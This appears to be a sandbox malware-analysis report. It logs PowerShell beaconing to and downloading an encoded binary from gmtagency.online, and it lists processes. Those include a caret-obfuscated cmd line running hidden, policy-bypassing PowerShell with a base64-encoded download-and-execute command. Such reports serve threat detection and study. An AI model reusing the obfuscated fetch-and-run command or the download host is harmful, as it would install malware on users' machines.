2024-11-15 00:01:38 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:38 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=056STjIve6IlOCvnfaZvBj0Sm5x7ZEJyBXVOkMkRyOXdqHD5ae86EHSAx8WEtyzHILwvMEwaHZ0StL88Mn2g0cfImbjqhBHdESLQAQW1cQBr7jXSr%2Fwd6mhK67%2B3JC4NnAj%2FVkd52vIt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2322&sent=22014&recv=11215&lost=0&retrans=0&sent_bytes=30551328&recv_bytes=795276&delivery_rate=33592920&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af7c2e879afb9-ATL server-timing: cfL4;desc="?proto=TCP&rtt=19648&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1043&delivery_rate=147079&cwnd=32&unsent_bytes=0&cid=91355037d0d28b17&ts=725&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49877	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:41 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 64
2024-11-15 00:01:41 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-11-15 00:01:42 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:42 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GhhWmAaz%2BCEHa3Wrs%2FUkyTHsaNDj59xfX5FsSV%2FUEx0Y%2FyAO%2BEUaD6RunyGiZDayb9HhFo%2BoIi4m1DJezH8NfaHCXk7y3jYp5SIAvzxitXHCQPwP8zKnuuap4JXAeZ9I5NZPPE8aNvD7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9024&sent=48746&recv=25056&lost=0&retrans=35&sent_bytes=67807818&recv_bytes=1422904&delivery_rate=51802441&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af7da59274566-ATL server-timing: cfL4;desc="?proto=TCP&rtt=18926&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1010&delivery_rate=153576&cwnd=32&unsent_bytes=0&cid=75834827654dc348&ts=690&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49880	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:03:11 UTC	66	OUT	GET /StaticFile/RdpService/91 HTTP/1.1 Host: gmtagency.online
2024-11-15 00:03:12 UTC	1106	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:03:12 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 10C767E2635167724D6A03475ED8F7A9 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fma3hSTFIdUIBFy4hO567R8fH%2BMUlcQK0hc%2BexN1s1gyGcTIVMkzP2bV5ezz7oHf54xOgwlcceKWe%2BEsYFPFHfkZwCnzz8jbLQxyDDHSbEtlCQ35hoeNjzO9vRFzfIu8Xp0VbPBPamOQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=36108&sent=48801&recv=25133&lost=0&retrans=35&sent_bytes=67829647&recv_bytes=1466453&delivery_rate=51802441&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2afa0da985e95e-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1352&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=704&delivery_rate=2055358&cwnd=251&unsent_bytes=0&cid=25484779b86c9565&ts=751&x=0"
2024-11-15 00:03:12 UTC	263	IN	Data Raw: 16 01 cb 5b 58 5b 5b 5b 5f 5b 5b 5b a4 a4 5b 5b e3 5b 5b 5b 5b 5b 5b 5b 1b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5a 5b 5b 55 44 e1 55 5b ef 52 96 7a e3 5a 17 96 7a 0f 33 32 28 7b 2b 29 34 3c 29 3a 36 7b 38 3a 35 35 34 2f 7b 39 3e 7b 29 2e 35 7b 32 35 7b 1f 14 08 7b 36 34 3f 3e 75 56 56 51 7f 5b 5b 5b 5b 5b 5b 5b b5 b6 6d 7b f1 d7 03 28 f1 d7 03 28 f1 d7 03 28 f8 af 90 28 ff d7 03 28 81 56 02 29 e6 d7 03 28 f1 d7 02 28 77 d6 03 28 e1 53 00 29 e2 d7 03 28 e1 53 07 29 c8 d7 03 28 b9 52 06 29 f2 d7 03 28 81 56 07 29 f3 d7 03 28 f1 d7 03 28 f0 d7 03 28 e1 53 06 29 87 d7 03 28 b9 52 03 29 f0 d7 03 28 b9 52 01 29 f0 d7 03 28 09 32 38 33 f1 d7 03 28 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b Data Ascii: [X[[[_[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Z[[UDU[RzZz32({+)4<):6{8:554/{9>{).5{25{{64?>uVVQ[[[[[[[m{(((((V)((w(S)(S)(R)(V)(((S)(R)(R)(283([[[[[[[[[[[[[[[
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: 5b 88 3b 6a 3c 5b 5b 5b 5b 5b 5b 5b 5b ab 5b 79 5b 50 59 55 72 5b 65 0b 5b 5b cf 1a 5b 5b 47 47 5b c3 8a 50 5b 5b 4b 5b 5b 5b 5b 5b 1b 5a 5b 5b 5b 5b 4b 5b 5b 5b 59 5b 5b 5d 5b 5b 5b 5b 5b 5b 5b 5d 5b 5b 5b 5b 5b 5b 5b 5b 1b f5 5b 5b 5f 5b 5b 5b 5b 5b 5b 58 5b 3b da 5b 5b 4b 5b 5b 5b 5b 5b 5b 4b 5b 5b 5b 5b 5b 5b 5b 5b 4b 5b 5b 5b 5b 5b 5b 4b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 4b 5b 5b 5b 5b 92 fe 5b 53 59 5b 5b 53 90 fe 5b 27 5a 5b 5b 5b 4b f5 5b e9 5e 5b 5b 5b db f3 5b a3 dd 5e 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 7b f5 5b 17 4f 5b 5b cb f6 c2 5b 47 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b db f4 c2 5b 73 5b 5b 5b 0b f7 c2 5b 1b 5a 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b db 37 5b 9b 50 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b Data Ascii: [;j<[[[[[[[[[y[PYUr[e[[[[GG[P[[K[[[[[Z[[[[K[[[Y[[][[[[[[[][[[[[[[[[[_[[[[[[X[;[[K[[[[[[K[[[[[[[[K[[[[[[K[[[[[[[[[[K[[[[[SY[[S['Z[[[K[^[[[[^[[[[[[[[[[{[O[[[G[[[[[[[[[[[[[[[[[[[[s[[[[Z[[[[[[[[[[[7[P[[[[[[[[[[[[[[[[[[[[[[[[
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: 5b 13 d6 5e fb d4 03 5b 13 d6 56 ca d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 59 83 73 5b 13 d6 5e a0 d4 03 5b 13 d6 56 b7 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 be 8c 73 5b 13 d6 5e b5 d4 03 5b 13 d6 56 84 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 93 8c 73 5b 13 d6 5e ba d4 03 5b 13 d6 56 89 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f0 8c 73 5b 13 d6 5e 8f d4 03 5b 13 d6 56 9e d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d5 8c 73 5b 13 d6 5e 9c d4 03 5b 13 d6 56 e3 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 2a 8c 73 5b 13 d6 5e e1 d4 03 5b 13 d6 56 f0 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 0f 8c 73 5b 13 d6 5e f6 d4 03 5b 13 d6 56 c5 d4 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 6c 8c 73 5b 13 d6 5e 93 d4 03 5b 13 d6 56 e2 d4 03 5b 13 d8 62 5b 2e 5a 98 13 Data Ascii: [^[V[b[.ZYs[^[V[b[.Zs[^[V[b[.Zs[^[V[b[.Zs[^[V[b[.Zs[^[V[b[.Z*s[^[V[b[.Zs[^[V[b[.Zls[^[V[b[.Z
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: 03 5b 13 d6 56 65 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f4 89 73 5b 13 d6 5e 13 c9 03 5b 13 d6 56 62 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 c9 89 73 5b 13 d6 5e 60 c9 03 5b 13 d6 56 77 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 2e 89 73 5b 13 d6 5e 75 c9 03 5b 13 d6 56 44 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 03 89 73 5b 13 d6 5e 72 c9 03 5b 13 d6 56 41 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 60 89 73 5b 13 d6 5e 7f c9 03 5b 13 d6 56 4e c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 45 89 73 5b 13 d6 5e c4 c9 03 5b 13 d6 56 cb c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 5a 89 73 5b 13 d6 5e c1 c9 03 5b 13 d6 56 d0 c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 bf 8a 73 5b 13 d6 5e ce c9 03 5b 13 d6 56 dd c9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 9c 8a 73 Data Ascii: [Ve[b[.Zs[^[Vb[b[.Zs[^`[Vw[b[.Z.s[^u[VD[b[.Zs[^r[VA[b[.Z`s[^[VN[b[.ZEs[^[V[b[.ZZs[^[V[b[.Zs[^[V[b[.Zs
2024-11-15 00:03:12 UTC	516	IN	Data Raw: 11 96 73 5b 13 d6 5e 28 54 fd 5b 13 d0 5b 13 d6 56 5a d8 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 96 73 5b 13 d6 5e 00 54 fd 5b 13 d0 5b 13 d6 56 b2 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 96 73 5b 13 d6 5e 20 54 fd 5b 13 d0 5b 13 d6 56 b2 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 b1 97 73 5b 13 d6 5e 38 54 fd 5b 13 d0 5b 13 d6 56 8a d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 97 73 5b 13 d6 5e 10 54 fd 5b 13 d0 5b 13 d6 56 b2 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 97 73 5b 13 d6 5e 18 54 fd 5b 13 d0 5b 13 d6 56 5a d8 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d1 97 73 5b 13 d6 5e 70 54 fd 5b 13 d0 5b 13 d6 56 b2 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 97 73 5b 13 d6 5e 40 54 fd 5b 13 d0 5b 13 d6 56 ba d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b Data Ascii: s[^(T[[VZ[b[.Zqs[^T[[V[b[.ZQs[^ T[[V[b[.Zs[^8T[[V[b[.Zs[^T[[V[b[.Zs[^T[[VZ[b[.Zs[^pT[[V[b[.Z1s[^@T[[V[b[.Z
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: 13 d6 5e d0 55 fd 5b 13 d0 5b 13 d6 56 22 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 90 73 5b 13 d6 5e 28 55 fd 5b 13 d0 5b 13 d6 56 2a d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 90 73 5b 13 d6 5e 20 55 fd 5b 13 d0 5b 13 d6 56 2a d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 b1 91 73 5b 13 d6 5e 38 55 fd 5b 13 d0 5b 13 d6 56 3a d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 91 73 5b 13 d6 5e 38 55 fd 5b 13 d0 5b 13 d6 56 1a d8 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 91 73 5b 13 d6 5e 10 55 fd 5b 13 d0 5b 13 d6 56 72 d8 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d1 91 73 5b 13 d6 5e 68 55 fd 5b 13 d0 5b 13 d6 56 4a d8 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 91 73 5b 13 d6 5e 40 55 fd 5b 13 d0 5b 13 d6 56 a2 d9 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 11 91 73 Data Ascii: ^U[[V"[b[.Zqs[^(U[[V[b[.ZQs[^ U[[V[b[.Zs[^8U[[V:[b[.Zs[^8U[[V[b[.Zs[^U[[Vr[b[.Zs[^hU[[VJ[b[.Z1s[^@U[[V[b[.Zs
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: d0 8b b2 b1 9e 73 5b 13 d6 5e 80 50 fd 5b 13 d0 5b 13 d6 56 f2 db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 9e 73 5b 13 d6 5e 90 50 fd 5b 13 d0 5b 13 d6 56 ca db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 9e 73 5b 13 d6 5e e8 50 fd 5b 13 d0 5b 13 d6 56 22 db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d1 9e 73 5b 13 d6 5e c0 50 fd 5b 13 d0 5b 13 d6 56 3a db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 9e 73 5b 13 d6 5e d8 50 fd 5b 13 d0 5b 13 d6 56 12 db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 11 9e 73 5b 13 d6 5e 30 50 fd 5b 13 d0 5b 13 d6 56 6a db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 9e 73 5b 13 d6 5e 38 50 fd 5b 13 d0 5b 13 d6 56 6a db 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 9e 73 5b 13 d6 5e 10 50 fd 5b 13 d0 5b 13 d6 56 42 db 03 5b 13 d8 62 5b 2e 5a 98 Data Ascii: s[^P[[V[b[.Zs[^P[[V[b[.Zs[^P[[V"[b[.Zs[^P[[V:[b[.Z1s[^P[[V[b[.Zs[^0P[[Vj[b[.Zqs[^8P[[Vj[b[.ZQs[^P[[VB[b[.Z
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: d8 62 5b 2e 5a 98 13 d0 8b b2 d1 9b 73 5b 13 d6 5e 70 52 fd 5b 13 d0 5b 13 d6 56 f2 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 9b 73 5b 13 d6 5e 78 52 fd 5b 13 d0 5b 13 d6 56 ea 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 11 9b 73 5b 13 d6 5e 50 52 fd 5b 13 d0 5b 13 d6 56 e2 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 9b 73 5b 13 d6 5e a8 53 fd 5b 13 d0 5b 13 d6 56 ea 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 9b 73 5b 13 d6 5e 80 53 fd 5b 13 d0 5b 13 d6 56 c2 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 b1 e4 73 5b 13 d6 5e 98 53 fd 5b 13 d0 5b 13 d6 56 ca 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 e4 73 5b 13 d6 5e e8 53 fd 5b 13 d0 5b 13 d6 56 22 25 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 e4 73 5b 13 d6 5e e8 53 fd 5b 13 d0 5b 13 d6 56 fa 25 03 5b Data Ascii: b[.Zs[^pR[[V%[b[.Z1s[^xR[[V%[b[.Zs[^PR[[V%[b[.Zqs[^S[[V%[b[.ZQs[^S[[V%[b[.Zs[^S[[V%[b[.Zs[^S[[V"%[b[.Zs[^S[[V%[
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: d6 56 9a 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 e0 73 5b 13 d6 5e 78 5d fd 5b 13 d0 5b 13 d6 56 8a 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 e0 73 5b 13 d6 5e 78 5d fd 5b 13 d0 5b 13 d6 56 9a 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 b1 e1 73 5b 13 d6 5e 48 5d fd 5b 13 d0 5b 13 d6 56 f2 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 e1 73 5b 13 d6 5e 58 5d fd 5b 13 d0 5b 13 d6 56 ca 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 e1 73 5b 13 d6 5e 58 5d fd 5b 13 d0 5b 13 d6 56 d2 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d1 e1 73 5b 13 d6 5e b0 5e fd 5b 13 d0 5b 13 d6 56 2a 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 e1 73 5b 13 d6 5e 88 5e fd 5b 13 d0 5b 13 d6 56 02 27 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 11 e1 73 5b 13 d6 5e 90 5e fd 5b 13 d0 5b Data Ascii: V'[b[.Zqs[^x][[V'[b[.ZQs[^x][[V'[b[.Zs[^H][[V'[b[.Zs[^X][[V'[b[.Zs[^X][[V'[b[.Zs[^^[[V*'[b[.Z1s[^^[[V'[b[.Zs[^^[[
2024-11-15 00:03:12 UTC	1369	IN	Data Raw: 5e fd 5b 13 d0 5b 13 d6 56 da 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 91 ee 73 5b 13 d6 5e 78 5e fd 5b 13 d0 5b 13 d6 56 32 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 f1 ee 73 5b 13 d6 5e 48 5e fd 5b 13 d0 5b 13 d6 56 0a 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 d1 ee 73 5b 13 d6 5e 58 5e fd 5b 13 d0 5b 13 d6 56 62 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 31 ee 73 5b 13 d6 5e b0 5f fd 5b 13 d0 5b 13 d6 56 7a 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 11 ee 73 5b 13 d6 5e 88 5f fd 5b 13 d0 5b 13 d6 56 52 22 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 71 ee 73 5b 13 d6 5e e0 5f fd 5b 13 d0 5b 13 d6 56 aa 23 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 51 ee 73 5b 13 d6 5e f8 5f fd 5b 13 d0 5b 13 d6 56 82 23 03 5b 13 d8 62 5b 2e 5a 98 13 d0 8b b2 b1 ef 73 5b 13 d6 5e Data Ascii: ^[[V"[b[.Zs[^x^[[V2"[b[.Zs[^H^[[V"[b[.Zs[^X^[[Vb"[b[.Z1s[^_[[Vz"[b[.Zs[^_[[VR"[b[.Zqs[^_[[V#[b[.ZQs[^_[[V#[b[.Zs[^

Target ID:	0
Start time:	19:00:41
Start date:	14/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "St^art /mIn "" pow^er^S^H^Ell -n^Ol^o^go -NO^P -e^p B^y^P^ass -EN^CO^De^d^cOM^MA^nd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="" && exit
Imagebase:	0x7ff6b2830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:00:41
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:00:42
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:00:42
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:00:44
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
